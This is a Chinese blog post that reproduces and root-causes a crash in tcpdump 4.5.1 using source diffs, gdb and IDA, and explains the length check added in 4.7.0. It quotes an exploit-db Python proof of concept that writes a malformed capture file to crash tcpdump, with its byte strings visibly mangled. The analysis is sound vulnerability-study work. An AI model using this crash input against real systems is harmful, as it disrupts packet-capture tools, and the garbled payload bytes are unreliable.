热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

tcpdump4.5.1crash深入分析

在看WHEREISK0SHL大牛的博客,其分析了tcpdump4.5.1 crash 的原因。跟着做了一下,发现他的可执行程序是经过stripped的,而且整个过程看的比较懵,所以自己重新实现了一下,

在看WHEREISK0SHL大牛的博客,其分析了tcpdump4.5.1 crash 的原因。跟着做了一下,发现他的可执行程序是经过stripped的,而且整个过程看的比较懵,所以自己重新实现了一下,并从源码的角度分析了该crash形成的原因。

构建环境

kali 2.0
apt install gcc gdb libpcap-dev -y
wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
./configure
make

未修复版本

root@kali32:~# tcpdump --version
tcpdump version 4.5.1
libpcap version 1.8.1

payload(来自exploit-db)

# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = 'xd4xc3xb2xa1x02x00x04x00x00x00x00xf5xff'
buffer += 'x00x00x00Ix00x00x00xe6x00x00x00x00x80x00'
buffer += 'x00x00x00x00x00x08x00x00x00x00 buffer += 'x06xa0rx7fx00x00x01x7fx00x00xecx00x01xe0x1a'
buffer += "x00x17g+++++++x85xc9x03x00x00x00x10xa0&x80x18'"
buffer += "xfe$x00x01x00x00@x0cx04x02x08n', 'x00x00x00x00"
buffer += 'x00x00x00x00x01x03x03x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()

执行效果

1542711906438

执行顺序

print_packet
|
|-->ieee802_15_4_if_print
|
|-->hex_and_asciii_print(ndo_default_print)
|
|-->hex_and_ascii_print_with_offset

直接顺着源代码撸就行

> git clone https://github.com/the-tcpdump-group/tcpdump
> git tag
...
tcpdump-4.4.0
tcpdump-4.5.0
tcpdump-4.5.1
tcpdump-4.6.0
tcpdump-4.6.0-bp
tcpdump-4.6.1
tcpdump-4.7.0-bp
tcpdump-4.7.2
...
> git checkout tcpdump-4.5.1

tcpdump.c找到pcap_loop调用

do {
status = pcap_loop(pd, cnt, callback, pcap_userdata);
if (WFileName == NULL) {
/*
* We're printing packets. Flush the printed output,
* so it doesn't get intermingled with error output.
*/
if (status == -2) {
/*
* We got interrupted, so perhaps we didn't
* manage to finish a line we were printing.
* Print an extra newline, just in case.
*/
putchar('n');
}
(void)fflush(stdout);
}

问题出在调用pcap_loopcallback函数中。根据源码callback函数指向

callback = print_packet;

函数print_packet

static void
print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
{
struct print_info *print_info;
u_int hdrlen;
++packets_captured;
++infodelay;
ts_print(&h->ts);
print_info = (struct print_info *)user;
/*
* Some printers want to check that they're not walking off the
* end of the packet.
* Rather than pass it all the way down, we set this global.
*/
snapend = sp + h->caplen;
if(print_info->ndo_type) {
hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
} else {
hdrlen = (*print_info->p.printer)(h, sp);
}
...
putchar('n');
--infodelay;
if (infoprint)
info(0);
}

其中(*print_info->p.ndo_printer)(print_info->ndo, h, sp)指向ieee802_15_4_if_print

1543285169700

函数ieee802_15_4_if_print


u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
const struct pcap_pkthdr *h, const u_char *p)
{
u_int caplen = h->caplen;
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen <3) {
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen; <====== 引起错误位置
} else {
...
caplen -= hdrlen;
}
if (!suppress_default_print)
(ndo->ndo_default_print)(ndo, p, caplen);
return 0;
}

跟踪进入

1543288222918

libpcap在处理不正常包时不严谨,导致包的头长度hdrlen竟然大于捕获包长度caplen,并且在处理时又没有相关的判断,这里后续再翻看一下源码。

hdrlencaplen都是非负整数,导致caplen==0xfffffff3过长。继续跟进hex_and_asciii_print(ndo_default_print)

void
hex_and_ascii_print(register const char *ident, register const u_char *cp,
register u_int length)
{
hex_and_ascii_print_with_offset(ident, cp, length, 0);
}

其中length==0xfffffff3继续

void
hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
register u_int oset)
{
register u_int i, s;
register int nshorts;
nshorts = (u_int) length / sizeof(u_short);
i = 0;
while (--nshorts >= 0) {
if ((i++ % 8) == 0) {
(void)printf("%s0x%04x: ", ident, oset);
oset += HEXDUMP_BYTES_PER_LINE;
}
s = *cp++; <======= 抛出错误位置
(void)printf(" %02x%02x", s, *cp++);
}
if (length & 1) {
if ((i % 8) == 0)
(void)printf("%s0x%04x: ", ident, oset);
(void)printf(" %02x", *cp);
}
}

nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬

1543289390163

但数据包数据没有这么长,导致了crash。感觉这个bug跟libpcaptcpdump都有关系,再来看看修复情况。

 

修复测试

修复版本

root@kali32:~# tcpdump --version
tcpdump version 4.7.0-PRE-GIT_2018_11_19
libpcap version 1.8.1

libpcap依然是apt安装的默认版本,tcpdump使用4.7 .0-bp版本

git checkout tcpdump-4.7.0-bp

测试一下

gdb-peda$ run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
04:06:08.000000 IEEE 802.15.4 Beacon packet
tcpdump: pcap_loop: invalid packet capture length 385882848, bigger than maximum of 262144
[Inferior 1 (process 8997) exited with code 01]

pcap_loop中发现数据包长度过长,发生了错误并输出错误提示。

这里有一个比较难理解的地方,两个测试版本libpcap是相同的,那么对应的pcap_loop也就是一样的,为什么一个版本pcap_loop出错了,而另一个则没有。为了找到这出这个疑问,我连续用了一周的时间去测试。

依然顺着这个结构走一遍

print_packet
|
|-->ieee802_15_4_if_print
|
|-->hex_and_asciii_print(ndo_default_print)
|
|-->hex_and_ascii_print_with_offset

比较print_packet两个版本的区别

1543284168411

snapend原本是利用一个变量存放,这里存放在了结构体ndo里,表示数据包最后一个数据位置。

跟进ieee802_15_4_if_print,首先看一下版本比较

1543297727522

可以看到没有比较大的变化,主要就是将一些标志位放在了ndo结构体中。

执行结果

1543297947132

可以看到目前的结果和4.5.1版本中是一样的。

继续跟进hex_and_ascii_print_with_offset,首先查看一下版本比较

1543306088706

代码一开始就增加了一个caplength的判断

caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
if (length > caplength)
length = caplength;
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
...
}

增加了这个判断,即可修复该错误。

1543306755958

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;caplength为0,继续执行,可以推出length同样为0,到这里已经不会发生错误了。

 

跟踪错误输出

其实细心一点,还可以发现修复完后,会输出不一样的处理信息

reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
04:06:08.000000 IEEE 802.15.4 Beacon packet
tcpdump: pcap_loop: invalid packet capture length 385882848, bigger than maximum of 262144
[Inferior 1 (process 8997) exited with code 01]

该错误信息是通过pcap_loop输出的,在libpcap定位一下该错误处理,可以发现其在pcap_next_packet函数中

static int
pcap_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char **data)
{
...
if (hdr->caplen > p->bufsize) {
/*
* This can happen due to Solaris 2.3 systems tripping
* over the BUFMOD problem and not setting the snapshot
* correctly in the savefile header.
* This can also happen with a corrupted savefile or a
* savefile built/modified by a fuzz tester.
* If the caplen isn't grossly wrong, try to salvage.
*/
size_t bytes_to_discard;
size_t bytes_to_read, bytes_read;
char discard_buf[4096];
if (hdr->caplen > MAXIMUM_SNAPLEN) { <===== 判断是否超过最大值
pcap_snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"invalid packet capture length %u, bigger than "
"maximum of %u", hdr->caplen, MAXIMUM_SNAPLEN);
return (-1);
}
...

还是那个问题,都是同样的libpcap版本,4.7.0输出的是pcap_next_packet中的错误信息,但是4.5.1却直接访问异常了?

经过不停的测试,我是这么理解的:

4.7.0中对长度进行了判断,导致不合规的length没有被处理,从而导致pcap_loop中又重新进行了一次pcap_next_packet

pcap_loop
|
|--> pcap_next_packet => 第一次在hex_and_ascii_print_with_offset中length为0
|
|--> pcap_next_packet => 第二次hdr->caplen > MAXIMUM_SNAPLEN

执行测试

确定IDA映射地址

1543319602789

pcap_loop函数会调用pcap_read_offline(具体可查看libpcap源码),在pcap_read_offline函数中

.text:B7F99BC7 push edi
.text:B7F99BC8 push [esp+58h+var_40]
.text:B7F99BCC mov eax, [esp+5Ch+var_44]
.text:B7F99BD0 call eax ; callback(调用print_packet)
.text:B7F99BD2 add esp, 10h
...
.text:B7F99BED push [esp+50h+var_48]
.text:B7F99BF1 push edi
.text:B7F99BF2 push ebp
.text:B7F99BF3 call dword ptr [ebp+4] ; 调用pcap_next_packet
.text:B7F99BF6 add esp, 10h
.text:B7F99BF9 test eax, eax
.text:B7F99BFB jnz short loc_B7F99C30
.text:B7F99BFD mov edx, [ebp+8Ch]
.text:B7F99C03 mov eax, [esp+4Ch+var_34]
.text:B7F99C07 test edx, edx
.text:B7F99C09 jz short loc_B7F99BC0
.text:B7F99C0B push [esp+4Ch+var_28] ; u_int
.text:B7F99C0F push [esp+50h+var_24] ; u_int
.text:B7F99C13 push eax ; u_char *
.text:B7F99C14 push edx ; struct bpf_insn *
.text:B7F99C15 call _bpf_filter

比较重要的函数有callbackpcap_next_packet,在pcap_next_packet设置断点

第一次到断点

1543320519522

执行查看返回值

1543320662783

对照ida

1543320704084

可以看到返回0,会执行一遍callback,即打印函数。之后会因为length=0结束

第二次pcap_next_packet

1543321043409

跟进去 以确定caplen具体的值,并确认判断条件(这里无论是分析libpcap源码,还是ida伪码都可以),查看ida伪码

signed int __cdecl pcap_next_packet_B7F9A050(int a1, unsigned int *a2, _DWORD *a3)
{
...
unsigned int v33; // [esp+Ch] [ebp-1040h]
unsigned int v34; // [esp+14h] [ebp-1038h]
unsigned int v35; // [esp+18h] [ebp-1034h]
size_t n; // [esp+1Ch] [ebp-1030h]
unsigned int v37; // [esp+20h] [ebp-102Ch]
char ptr; // [esp+2Ch] [ebp-1020h]
unsigned int v39; // [esp+102Ch] [ebp-20h]
v3 = a2;
v4 = *(a1 + 36);
v5 = *(a1 + 44);
v39 = __readgsdword(0x14u);
stream = v5;
/*
v34是一个结构体
str_v34 {
u_int_t v34;
u_int_t v35;
size_t n; // caplen
u_int_t v37;
}
*/
v6 = __fread_chk(&v34, 24, 1, *v4, v5); //这里下断点查看n的值
if ( *v4 == v6 )
{
caplen = n;
v8 = v37;
v9 = v35;
v33 = v34;
if ( *(a1 + 40) )
{
caplen = _byteswap_ulong(n);
v21 = _byteswap_ulong(v37);
v22 = _byteswap_ulong(v35);
a2[2] = caplen;
a2[3] = v21;
a2[1] = v22;
*a2 = _byteswap_ulong(v33);
v10 = v4[2];
if ( v10 != 1 )
{
LABEL_4:
if ( v10 == 2 )
a2[1] = a2[1] / 1000;
v11 = v4[1];
if ( v11 != 1 )
{
LABEL_7:
if ( v11 != 2 || (v23 = a2[3], v23 >= caplen) )
{
LABEL_8:
bufsize = *(a1 + 16);
if ( bufsize >= caplen )
{
if ( a2[2] == fread(*(a1 + 20), 1u, caplen, stream) )
{
LABEL_30:
v26 = *(a1 + 20);
result = *(a1 + 40);
*a3 = v26;
if ( result )
{
sub_B7F9C580(*(a1 + 68), v3, v26);
result = 0;
}
goto LABEL_27;
}
v27 = a1 + 144;
if ( ferror(stream) )
{
v28 = __errno_location();
v29 = pcap_strerror(*v28);
__snprintf_chk(v27, 256, 1, 257, "error reading dump file: %s", v29);
}
else
{
__snprintf_chk(
v27,
256,
1,
257,
"truncated dump file; tried to read %u captured bytes, only got %lu",
a2[2]);
}
}
else if ( caplen > 0x40000 ) // 下断点,执行判断
{
__snprintf_chk(
a1 + 144,
256,
1,
257,
"invalid packet capture length %u, bigger than maximum of %u",
caplen);
}
...

查看n

1543325099490

在比较处下断点,测试是否大于最大值0x40000

1543325185664

大于最大值,会将错误信息返回pcap_loop

1543325248324

至此整个过程分析完毕,包括具体的出错原因,修补代码都做了详细分析

 

参考

exploit-db payload

WHEREISK0SHL分析博客

libpcap/tcpdump源码


推荐阅读
  • 如何自行分析定位SAP BSP错误
    The“BSPtag”Imentionedintheblogtitlemeansforexamplethetagchtmlb:configCelleratorbelowwhichi ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 本文介绍了三种方法来实现在Win7系统中显示桌面的快捷方式,包括使用任务栏快速启动栏、运行命令和自己创建快捷方式的方法。具体操作步骤详细说明,并提供了保存图标的路径,方便以后使用。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • 本文介绍了机器学习手册中关于日期和时区操作的重要性以及其在实际应用中的作用。文章以一个故事为背景,描述了学童们面对老先生的教导时的反应,以及上官如在这个过程中的表现。同时,文章也提到了顾慎为对上官如的恨意以及他们之间的矛盾源于早年的结局。最后,文章强调了日期和时区操作在机器学习中的重要性,并指出了其在实际应用中的作用和意义。 ... [详细]
  • 深入理解Kafka服务端请求队列中请求的处理
    本文深入分析了Kafka服务端请求队列中请求的处理过程,详细介绍了请求的封装和放入请求队列的过程,以及处理请求的线程池的创建和容量设置。通过场景分析、图示说明和源码分析,帮助读者更好地理解Kafka服务端的工作原理。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • 本文介绍了一个Java猜拳小游戏的代码,通过使用Scanner类获取用户输入的拳的数字,并随机生成计算机的拳,然后判断胜负。该游戏可以选择剪刀、石头、布三种拳,通过比较两者的拳来决定胜负。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
author-avatar
Cornell和Janey的BabyPeter_580
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有